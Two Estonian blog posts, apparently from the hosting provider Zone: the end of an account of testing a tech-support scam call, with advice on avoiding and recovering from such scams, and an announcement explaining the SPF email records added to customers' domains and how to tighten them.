See on juba kuri tegu – nüüd peaks Windows hakkama käivitumisel “Startup key” nimelist parooli küsima ja petturil on tõesti õigus väita, et meil on väga tõsine probleem … millest saab üle vaid talle lunaraha makstes.

Edasi avatakse Notepad ja hakatakse sinna tippima nimekirja töödest, mis vaja teha – jõutakse tulemuseni, et see on umbes 50 minutit tööd ning Microsoft’i hinnakirja kohaselt (mida vahepeal brauseris otsitakse ja kuvatakse) maksab lifetime security 1499,99 € ja viieks aastaks 1399,99 €. Ühekordne parandus on kõigest 499,99 €, aga seda ei soovitata, sest siis tuleb aasta pärast porno tagasi:

Nagu näha, on Notepad’is kenasti valmis tehtud väljad krediitkaardinumbri sisestamiseks … ning kui ma lahkun “krediitkaarti otsima” tuleb hindikeelne lausejupp (mille Google tõlgib kui “How are you, bay dog?”), kaughalduslahendus talletab mingi muudatuse virtuaalmasinas … ning siis:

Ilmselt tuli Parallels’i virtuaalmasina kasutus sellele tüübile üllatusena, sest ta küll vaatas vahepeal “dxdiag” tööriista abil süsteemi infot… aga jätkas agaralt müügitööd.

Kuidas selliseid asju vältida?

Nagu paljude asjadega siin elus, saab kõik alguse hügieenist. Täpselt samamoodi, nagu me hoolitseme pimedal ja viirusterohkel aastaajal oma tervise eest, pestes käsi, süües vitamiinirohkeid toitusid ning ohtralt liikudes, tuleb käituda ka virtuaalses maailmas. Mantratena kordame siinkohal soovitusi vältida klõpsamisi kahtlastele linkidele ning siin-seal lahtihüppavatele popup akendele. Uuenduste saabudes värskenda alati oma arvuti operatsioonisüsteemi ning uuenda perioodiliselt viiruse- ja pahavaratõrjet. Need üleskutsed jäävad paratamatult ja tungivalt kõlama ka selle kirjatüki juures. Palun ole valvas. Ole v e e l g i valvsam!

Kindlasti soovitame netiavaruse kahtlasematesse soppidesse sattudes säilitada külma närvi, sest mitmed veebipettused, kaasa arvatud selles kirjatükis lahatav nn. tehnilise toe pettus, toetuvad eeskätt inimlikele nõrkustele ja emotsioonidele: hirmudele ja sellega kaasnevale ehmatusele, mida on osaval pätil väga lihtne oma huvides ära kasutada. Ja mis seal salata – netikasutaja napp teadlikkus ning puudulik valmisolek vilkuvaid ja ähvardavaid veebibännereid sellistes olukordades lihtsalt ignoreerida on vaid kütuseks petturitele.

Kirjeldatud petuskeemi eest hoiatas oma säutsuga käesoleva kuu alguses meie kõigi kübarturvalisuse eest hoolt kandev CERT.ee, mis soovitab kasutada efektiivset ja tõhusat tööriista pahavara avastamiseks: https://www.malwarebytes.com/ . Selle soovitusega ühineme ka meie.

Hoidku kõigevägevamad (Google, Facebook ja AliExpress) meie blogi lugejaid sarnastesse olukordadesse sattumast, kuid kui see peaks kõigele vaatamata juhtuma, siis kindlasti ärge tehke petturitele mingisuguseidki järeleandmisi!

Sarnaselt meie loo ohvriga katkesta kõne, jäta selles arvutis katki kõik pooleliolevad toimingud ning lase esimese asjana oma arvuti üle vaadata ja seejärel puhastada pädeval IT-spetsialistil.

Ehkki tegu on rahvusvahelise mastaabiga petuskeemiga ning selle ametlik menetlemine jõuametkondade poolt ei pruugi tulemusteni viia, ei tee paha ka juhtunust teatamine meie küberpolitseile cybercrime@politsei.ee ja Riigi Infosüsteemi Ameti küberintsidentide tiimile cert@cert.ee, kes saavad sellest lähtuvalt vähemalt meedia kaudu hoiatuse teiste kasutajateni viia.

Lisaks: kui oledki sarnase skeemi poolt juba “pihta saanud”, siis soovitame teist arvutit kasutades ära vahetada kõik oma olulisemate teenuste paroolid: Zone, Gmail, Facebook jt ning rakendada neis nn. kahe faktoriga sisselogimist. Kuigi meie testis tundus asi piirduvat krediitkaardi numbri õngitsemisega ei või kunagi kindel olla, mida nad kasutajale märkamatult on paigaldanud.

Google puhul saab sellega alustada https://www.google.com/landing/2step/ ning selleks piisab kõige lihtsamast lahendusest, mis saadab mobiilile SMSiga kontrollkoodi, kui proovid uuest seadmest sisse logida. Ka Facebook’i jaoks leiab samasuguse lahenduse.

Netipankade – ja Zone teenuste – kasutamisel mobiil-ID või ID-kaardi (pankade puhul lisaks ka Smart-ID) abil tõenäoliselt riski ei ole, aga kindlasti ei maksaks seda teha sellest arvutist, kuhu klienditoe-petturid üle kaughalduse ligi said, enne kui spetsialist selle üle kontrollis ja ära puhastas. Hunt seda teab, mis nad oma ladusa jutu kõrval tegid – või mis selles arvutis juba varem või probleemiks olla.

P.S. Kui tekstist paistab läbi isiksuse kahestumine, siis olgu selgitatud, et Jaanus kirjutas kõigepealt õpetliku jutu kokku… ja siis jõudis kohale Pets eurose SIM-kaardiga ning kirjutas sinna keskele praktilise testi.

 

SPF kirje nüüd kõigil Zone postiservereid kasutavatel domeenidel

Tegime teoks ühe ammuse plaani ja lisasime kõigi Zone postiservereid kasutavate domeenide nimeserveritesse SPF-kirje, mis aitab e-postiteenustel kirju paremini spämmist eristada ja vähendab võimalust, et keegi kolmas saab domeeni aadresse kasutavaid kirju saata.

Kõigi muudatusest puudutatud domeenide omanikud said e-posti teel eelnevalt teavitatud, kirjed lisasime 23.08.2017 hommikul.

Tehniline kokkuvõte: vältimaks probleeme klientidele, kes võivad kasutada oma SMTP-servereid või e-posti saatvaid rakendusi, on lisatud kirje võimalikult leebe ehk v=spf1 a mx include:_spf.zone.eu ~all . Muudest allikatest saadetud kirjad saavad olekuks SoftFail. Soovitame kõigil see ise rangemaks muuta välistades võõraste serverite kasutamise täielikult, selleks peab kirje lõpus olema -all. Kõigile uutele virtuaalserveritele lisame automaatselt range ehk -all SPFi.

Miks me sellise muudatuse tegime?
Põhjuseid on kaks.

Esiteks on viimasel ajal lisaks võõralt aadressilt spämmi saatmisele sagenenud juhtumid, kus kurjategijad võltsivad e-kirjade päiseid ning sisu jätmaks vastuvõtjale mulje, et kiri on igati legitiimne ning saadetud teie ettevõtte töötaja poolt. Reeglina palutakse sellistes kirjades, mis jõuavad teie kolleegide postkastidesse, teha rahaülekanne mõnele välismaisele pangakontole. Kirjutasin ühest sellisest kelmusest Zone blogipostituses “Kas saaksid kiiresti ühe maksekorralduse teha?”.

NB! Juhul, kui olete ise sarnase sisuga kirju saanud, siis kindlasti suhtuge neisse äärmiselt kriitiliselt ning vajadusel täpsustage muid kanaleid pidi saatjalt üle, kas saabunud kiri on ikka tema saadetud!

Teiseks on postiteenused nagu Gmail hakanud järjest enam kontrollima, et e-kirjad saabuksid vastava domeeni omaniku poolt heaks kiidetud serveri vahendusel.

Milles muudatus seisneb?

Me lisame spetsiaalse SPF (Sender Policy Framework) kirje domeeni teenindavasse nimeserverisse. Tänu sellele veenduvad kirju vastuvõtvad e-posti serverid, et saabunud e-kiri on saadetud justnimelt selle domeeninimega seotud e-postkastist ning kiri toimetatakse süsteemi poolt edasi õige saajani. SPF-kirjete lisamine aitab vältida domeeni kasutajate nimel saadetavate võltskirjade ja spämmi jõudmise adressaatideni ning tagab kirjade jõudmise nt Gmail’i kasutajateni.

Tehnilisem selgitus: kirjes on viide kõigile kasutusel olevatele Zone e-posti ja veebiserveritele: kui saadate kirju Outlook’ist vms e-postikliendist, kasutades selleks SMTP protokolli; Zone veebimeilist või kui panete kirjad teele Zones majutatud veebiserveri abil.

Lisatav kirje ei välista täielikult teistest serveritest saadetava e-posti kohalejõudmist. Kui soovite turvalisust suurendada ja e-posti kohalejõudmist veelgi paremini tagada, siis tuleb sätteid veelgi rangemaks muuta.

Päris tehniline selgitus: lisame TXT-kirje mille sisuks on:

v=spf1 a mx include:_spf.zone.eu ~all

Antud juhul me kasutame vaikimisi leebemat ~all parameetrit, mis tähendab, et loetlemata serverid saavad tulemuseks SoftFail. Meie tungiv soovitus on kindlasti tuvastada ja lisada kõik legitiimsed e-posti saatmise kanalid (MailChimp, raamatupidamis- või kliendisuhtehaldustarkvara) ning minna üle parameetri -all peale.

Kas sellest saab loobuda?

Ei, sest puudub mistahes mõistlik põhjus. Küll aga võib soovi korral ise endale meelepärase SPF-kirje seada, selle olemasolul me midagi ei muuda. SPF-kirje aktiveerimiseks talitage nii:

  • logige https://www.zone.ee lehel oma kasutajakontoga Minu Zone’sse
  • menüüvalikus “Teenuste ülevaade” klõpsake asjakohase serveri järel lingile „Halda”
  • järgmisel lehel valige “E-post” ning selle alammenüüst valik “DKIM / SPF / DMARC”
  • avanenud valikutes on tõenäoliselt näha, et SPF kirje on juba aktiveeritud – soovi korral saab klõpsata “Muuda” ning kirje sisu kohandada

Täpsema selgituse ja leiab mullusest blogipostist “3 tehnoloogiat, mis aitavad kirjad kindlalt kohale toimetada”.

Kas midagi võib katki minna?

Ei. Meie lisatav kirje on piisavalt leebe, sest see loetleb lubatud serverid, aga ei keela mujalt saatmist.

Aga kui soovite oma e-posti veel turvalisemaks muuta ning mujalt e-posti saatmine täielikult välistada, kasutades SPF-kirjes -all parameetrit, siis võib juhtuda, et oma e-postitarkvaras mõne mitte-Zone SMTP serveri seadistanud kasutajate kirjad ei jõua kohale või satuvad spämmifiltrisse. Sama lugu võib juhtuda ka MailChimpist või mõnest teisest e-postiturunduslahendusest saadetud kirjadega, raamatupidamisprogrammist saadetavate arvetega jne.

Sellisel puhul on vaja SPF-kirjet vastavalt kohandada, lisades MailChimpi puhul kirjesse include:servers.mcsv.net, Outlook.com postiteenuse kasutamisel include:spf.protection.outlook.com või mõne konkreetse arvuti IP-aadressi. See ei ole keeruline, aga meie seda omal algatusel teha ei saa.

Kuidas kontrollida, et kõik toimib?

Selleks on üks mugav teenus, mis asub aadressil https://www.mail-tester.com , mis sai mullu ka eestikeelse tõlke. Saates teenuse poolt genereeritud test-aadressile oma postkastist kirja, saab mõne minuti pärast tulemust näha. Lähemalt saab sellest lugeda blogipostitusest “Kuidas kontrollida väljuva e-posti SPF+DKIM+DMARC toimimist?“.